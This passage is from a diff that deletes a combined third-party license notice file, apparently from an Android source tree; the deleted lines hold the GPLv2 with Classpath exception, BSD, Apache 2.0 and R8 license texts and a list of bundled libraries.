-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-
-======================================================================
-libcore/LICENSE
-
-The GNU General Public License (GPL)
-
-Version 2, June 1991
-
-Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-
-Everyone is permitted to copy and distribute verbatim copies of this license
-document, but changing it is not allowed.
-
-Preamble
-
-The licenses for most software are designed to take away your freedom to share
-and change it.  By contrast, the GNU General Public License is intended to
-guarantee your freedom to share and change free software--to make sure the
-software is free for all its users.  This General Public License applies to
-most of the Free Software Foundation's software and to any other program whose
-authors commit to using it.  (Some other Free Software Foundation software is
-covered by the GNU Library General Public License instead.) You can apply it to
-your programs, too.
-
-When we speak of free software, we are referring to freedom, not price.  Our
-General Public Licenses are designed to make sure that you have the freedom to
-distribute copies of free software (and charge for this service if you wish),
-that you receive source code or can get it if you want it, that you can change
-the software or use pieces of it in new free programs; and that you know you
-can do these things.
-
-To protect your rights, we need to make restrictions that forbid anyone to deny
-you these rights or to ask you to surrender the rights.  These restrictions
-translate to certain responsibilities for you if you distribute copies of the
-software, or if you modify it.
-
-For example, if you distribute copies of such a program, whether gratis or for
-a fee, you must give the recipients all the rights that you have.  You must
-make sure that they, too, receive or can get the source code.  And you must
-show them these terms so they know their rights.
-
-We protect your rights with two steps: (1) copyright the software, and (2)
-offer you this license which gives you legal permission to copy, distribute
-and/or modify the software.
-
-Also, for each author's protection and ours, we want to make certain that
-everyone understands that there is no warranty for this free software.  If the
-software is modified by someone else and passed on, we want its recipients to
-know that what they have is not the original, so that any problems introduced
-by others will not reflect on the original authors' reputations.
-
-Finally, any free program is threatened constantly by software patents.  We
-wish to avoid the danger that redistributors of a free program will
-individually obtain patent licenses, in effect making the program proprietary.
-To prevent this, we have made it clear that any patent must be licensed for
-everyone's free use or not licensed at all.
-
-The precise terms and conditions for copying, distribution and modification
-follow.
-
-TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-0. This License applies to any program or other work which contains a notice
-placed by the copyright holder saying it may be distributed under the terms of
-this General Public License.  The "Program", below, refers to any such program
-or work, and a "work based on the Program" means either the Program or any
-derivative work under copyright law: that is to say, a work containing the
-Program or a portion of it, either verbatim or with modifications and/or
-translated into another language.  (Hereinafter, translation is included
-without limitation in the term "modification".) Each licensee is addressed as
-"you".
-
-Activities other than copying, distribution and modification are not covered by
-this License; they are outside its scope.  The act of running the Program is
-not restricted, and the output from the Program is covered only if its contents
-constitute a work based on the Program (independent of having been made by
-running the Program).  Whether that is true depends on what the Program does.
-
-1. You may copy and distribute verbatim copies of the Program's source code as
-you receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice and
-disclaimer of warranty; keep intact all the notices that refer to this License
-and to the absence of any warranty; and give any other recipients of the
-Program a copy of this License along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and you may
-at your option offer warranty protection in exchange for a fee.
-
-2. You may modify your copy or copies of the Program or any portion of it, thus
-forming a work based on the Program, and copy and distribute such modifications
-or work under the terms of Section 1 above, provided that you also meet all of
-these conditions:
-
-    a) You must cause the modified files to carry prominent notices stating
-    that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in whole or
-    in part contains or is derived from the Program or any part thereof, to be
-    licensed as a whole at no charge to all third parties under the terms of
-    this License.
-
-    c) If the modified program normally reads commands interactively when run,
-    you must cause it, when started running for such interactive use in the
-    most ordinary way, to print or display an announcement including an
-    appropriate copyright notice and a notice that there is no warranty (or
-    else, saying that you provide a warranty) and that users may redistribute
-    the program under these conditions, and telling the user how to view a copy
-    of this License.  (Exception: if the Program itself is interactive but does
-    not normally print such an announcement, your work based on the Program is
-    not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If identifiable
-sections of that work are not derived from the Program, and can be reasonably
-considered independent and separate works in themselves, then this License, and
-its terms, do not apply to those sections when you distribute them as separate
-works.  But when you distribute the same sections as part of a whole which is a
-work based on the Program, the distribution of the whole must be on the terms
-of this License, whose permissions for other licensees extend to the entire
-whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest your
-rights to work written entirely by you; rather, the intent is to exercise the
-right to control the distribution of derivative or collective works based on
-the Program.
-
-In addition, mere aggregation of another work not based on the Program with the
-Program (or with a work based on the Program) on a volume of a storage or
-distribution medium does not bring the other work under the scope of this
-License.
-
-3. You may copy and distribute the Program (or a work based on it, under
-Section 2) in object code or executable form under the terms of Sections 1 and
-2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable source
-    code, which must be distributed under the terms of Sections 1 and 2 above
-    on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three years, to
-    give any third party, for a charge no more than your cost of physically
-    performing source distribution, a complete machine-readable copy of the
-    corresponding source code, to be distributed under the terms of Sections 1
-    and 2 above on a medium customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer to
-    distribute corresponding source code.  (This alternative is allowed only
-    for noncommercial distribution and only if you received the program in
-    object code or executable form with such an offer, in accord with
-    Subsection b above.)
-
-The source code for a work means the preferred form of the work for making
-modifications to it.  For an executable work, complete source code means all
-the source code for all modules it contains, plus any associated interface
-definition files, plus the scripts used to control compilation and installation
-of the executable.  However, as a special exception, the source code
-distributed need not include anything that is normally distributed (in either
-source or binary form) with the major components (compiler, kernel, and so on)
-of the operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering access to copy
-from a designated place, then offering equivalent access to copy the source
-code from the same place counts as distribution of the source code, even though
-third parties are not compelled to copy the source along with the object code.
-
-4. You may not copy, modify, sublicense, or distribute the Program except as
-expressly provided under this License.  Any attempt otherwise to copy, modify,
-sublicense or distribute the Program is void, and will automatically terminate
-your rights under this License.  However, parties who have received copies, or
-rights, from you under this License will not have their licenses terminated so
-long as such parties remain in full compliance.
-
-5. You are not required to accept this License, since you have not signed it.
-However, nothing else grants you permission to modify or distribute the Program
-or its derivative works.  These actions are prohibited by law if you do not
-accept this License.  Therefore, by modifying or distributing the Program (or
-any work based on the Program), you indicate your acceptance of this License to
-do so, and all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-6. Each time you redistribute the Program (or any work based on the Program),
-the recipient automatically receives a license from the original licensor to
-copy, distribute or modify the Program subject to these terms and conditions.
-You may not impose any further restrictions on the recipients' exercise of the
-rights granted herein.  You are not responsible for enforcing compliance by
-third parties to this License.
-
-7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues), conditions
-are imposed on you (whether by court order, agreement or otherwise) that
-contradict the conditions of this License, they do not excuse you from the
-conditions of this License.  If you cannot distribute so as to satisfy
-simultaneously your obligations under this License and any other pertinent
-obligations, then as a consequence you may not distribute the Program at all.
-For example, if a patent license would not permit royalty-free redistribution
-of the Program by all those who receive copies directly or indirectly through
-you, then the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under any
-particular circumstance, the balance of the section is intended to apply and
-the section as a whole is intended to apply in other circumstances.
-
-It is not the purpose of this section to induce you to infringe any patents or
-other property right claims or to contest validity of any such claims; this
-section has the sole purpose of protecting the integrity of the free software
-distribution system, which is implemented by public license practices.  Many
-people have made generous contributions to the wide range of software
-distributed through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing to
-distribute software through any other system and a licensee cannot impose that
-choice.
-
-This section is intended to make thoroughly clear what is believed to be a
-consequence of the rest of this License.
-
-8. If the distribution and/or use of the Program is restricted in certain
-countries either by patents or by copyrighted interfaces, the original
-copyright holder who places the Program under this License may add an explicit
-geographical distribution limitation excluding those countries, so that
-distribution is permitted only in or among countries not thus excluded.  In
-such case, this License incorporates the limitation as if written in the body
-of this License.
-
-9. The Free Software Foundation may publish revised and/or new versions of the
-General Public License from time to time.  Such new versions will be similar in
-spirit to the present version, but may differ in detail to address new problems
-or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any later
-version", you have the option of following the terms and conditions either of
-that version or of any later version published by the Free Software Foundation.
-If the Program does not specify a version number of this License, you may
-choose any version ever published by the Free Software Foundation.
-
-10. If you wish to incorporate parts of the Program into other free programs
-whose distribution conditions are different, write to the author to ask for
-permission.  For software which is copyrighted by the Free Software Foundation,
-write to the Free Software Foundation; we sometimes make exceptions for this.
-Our decision will be guided by the two goals of preserving the free status of
-all derivatives of our free software and of promoting the sharing and reuse of
-software generally.
-
-NO WARRANTY
-
-11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
-THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN OTHERWISE
-STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE
-PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED,
-INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND
-PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE,
-YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL
-ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE
-PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR
-INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA
-BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
-FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER
-OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
-
-END OF TERMS AND CONDITIONS
-
-How to Apply These Terms to Your New Programs
-
-If you develop a new program, and you want it to be of the greatest possible
-use to the public, the best way to achieve this is to make it free software
-which everyone can redistribute and change under these terms.
-
-To do so, attach the following notices to the program.  It is safest to attach
-them to the start of each source file to most effectively convey the exclusion
-of warranty; and each file should have at least the "copyright" line and a
-pointer to where the full notice is found.
-
-    One line to give the program's name and a brief idea of what it does.
-
-    Copyright (C) <year> <name of author>
-
-    This program is free software; you can redistribute it and/or modify it
-    under the terms of the GNU General Public License as published by the Free
-    Software Foundation; either version 2 of the License, or (at your option)
-    any later version.
-
-    This program is distributed in the hope that it will be useful, but WITHOUT
-    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
-    more details.
-
-    You should have received a copy of the GNU General Public License along
-    with this program; if not, write to the Free Software Foundation, Inc., 59
-    Temple Place, Suite 330, Boston, MA 02111-1307 USA
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this when it
-starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author Gnomovision comes
-    with ABSOLUTELY NO WARRANTY; for details type 'show w'.  This is free
-    software, and you are welcome to redistribute it under certain conditions;
-    type 'show c' for details.
-
-The hypothetical commands 'show w' and 'show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may be
-called something other than 'show w' and 'show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.  Here
-is a sample; alter the names:
-
-    Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-    'Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-    signature of Ty Coon, 1 April 1989
-
-    Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General Public
-License instead of this License.
-
-
-"CLASSPATH" EXCEPTION TO THE GPL
-
-Certain source files distributed by Oracle America and/or its affiliates are
-subject to the following clarification and special exception to the GPL, but
-only where Oracle has expressly included in the particular source file's header
-the words "Oracle designates this particular file as subject to the "Classpath"
-exception as provided by Oracle in the LICENSE file that accompanied this code."
-
-    Linking this library statically or dynamically with other modules is making
-    a combined work based on this library.  Thus, the terms and conditions of
-    the GNU General Public License cover the whole combination.
-
-    As a special exception, the copyright holders of this library give you
-    permission to link this library with independent modules to produce an
-    executable, regardless of the license terms of these independent modules,
-    and to copy and distribute the resulting executable under terms of your
-    choice, provided that you also meet, for each linked independent module,
-    the terms and conditions of the license of that module.  An independent
-    module is a module which is not derived from or based on this library.  If
-    you modify this library, you may extend this exception to your version of
-    the library, but you are not obligated to do so.  If you do not wish to do
-    so, delete this exception statement from your version.
-
-======================================================================
-external/skia/LICENSE
-
-Copyright (c) 2011 Google Inc. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-  * Redistributions of source code must retain the above copyright
-    notice, this list of conditions and the following disclaimer.
-
-  * Redistributions in binary form must reproduce the above copyright
-    notice, this list of conditions and the following disclaimer in
-    the documentation and/or other materials provided with the
-    distribution.
-
-  * Neither the name of the copyright holder nor the names of its
-    contributors may be used to endorse or promote products derived
-    from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/androidplot/NOTICE
-external/jsr330/NOTICE
-external/tagsoup/LICENSE
-external/testng/NOTICE
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright [yyyy] [name of copyright owner]
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-======================================================================
-prebuilts/r8/LICENSE
-
-This file lists all licenses for code distributed.
-All non-library code has the following 3-Clause BSD license.
-
-
-Copyright (c) 2016, the R8 project authors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-* Redistributions of source code must retain the above copyright notice, this
-  list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright notice,
-  this list of conditions and the following disclaimer in the documentation
-  and/or other materials provided with the distribution.
-
-* Neither the name of Google Inc. nor the names of its
-  contributors may be used to endorse or promote products derived from
-  this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-Summary of distributed libraries:
-
-- artifact: com.google.guava:guava:+
-  name: Guava Google Core Libraries for Java
-  copyrightHolder: The Guava Authors
-  license: The Apache Software License, Version 2.0
-  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
-- artifact: com.google.code.gson:gson:+
-  name: Gson
-  license: The Apache Software License, Version 2.0
-  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
-  url: https://github.com/google/gson
-- artifact: it.unimi.dsi:fastutil:+
-  name: fastutil
-  license: Apache License, Version 2.0
-  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.html
-  url: http://fasutil.di.unimi.it/
-- artifact: net.sf.jopt-simple:jopt-simple:+
-  name: JOpt Simple
-  license: The MIT License
-  licenseUrl: http://www.opensource.org/licenses/mit-license.php
-  url: http://pholser.github.com/jopt-simple
-- artifact: org.ow2.asm:asm-commons:+
-  name: ASM Commons
-  copyrightHolder: INRIA, France Telecom
-  license: BSD
-  licenseUrl: http://asm.ow2.org/license.html
-  url: http://asm.ow2.org/index.html
-- artifact: org.ow2.asm:asm-tree:+
-  name: ASM Tree
-  copyrightHolder: INRIA, France Telecom
-  license: BSD
-  licenseUrl: http://asm.ow2.org/license.html
-  url: http://asm.ow2.org/index.html
-- artifact: org.ow2.asm:asm-util:+
-  name: ASM Util
-  copyrightHolder: INRIA, France Telecom
-  license: BSD
-  licenseUrl: http://asm.ow2.org/license.html
-  url: http://asm.ow2.org/index.html
-- artifact: org.ow2.asm:asm-analysis:+
-  name: ASM Util
-  copyrightHolder: INRIA, France Telecom
-  license: BSD
-  licenseUrl: http://asm.ow2.org/license.html
-  url: http://asm.ow2.org/index.html
-- artifact: org.ow2.asm:asm:+
-  name: ASM Core
-  copyrightHolder: INRIA, France Telecom
-  license: BSD
-  licenseUrl: http://asm.ow2.org/license.html
-  url: http://asm.ow2.org/index.html
-- artifact: org.jetbrains.kotlin:kotlin-stdlib:+
-  name: org.jetbrains.kotlin:kotlin-stdlib
-  copyrightHolder: JetBrains s.r.o.
-  license: The Apache License, Version 2.0
-  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
-  url: https://kotlinlang.org/
-- artifact: org.jetbrains.kotlin:kotlin-stdlib-common:+
-  name: org.jetbrains.kotlin:kotlin-stdlib
-  copyrightHolder: JetBrains s.r.o.
-  license: The Apache License, Version 2.0
-  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
-  url: https://kotlinlang.org/
-- artifact: org.jetbrains.kotlinx:kotlinx-metadata-jvm:+
-  name: org.jetbrains.kotlinx:kotlinx-metadata-jvm
-  copyrightHolder: JetBrains s.r.o.
-  license: The Apache License, Version 2.0
-  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
-  url: https://kotlinlang.org/
-- artifact: org.jetbrains:annotations:+
-  name: IntelliJ IDEA Annotations
-  copyrightHolder: JetBrains s.r.o.
-  license: The Apache Software License, Version 2.0
-  licenseUrl: http://www.apache.org/licenses/LICENSE-2.0.txt
-  url: http://www.jetbrains.org
-
-
-Licenses details:
-
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
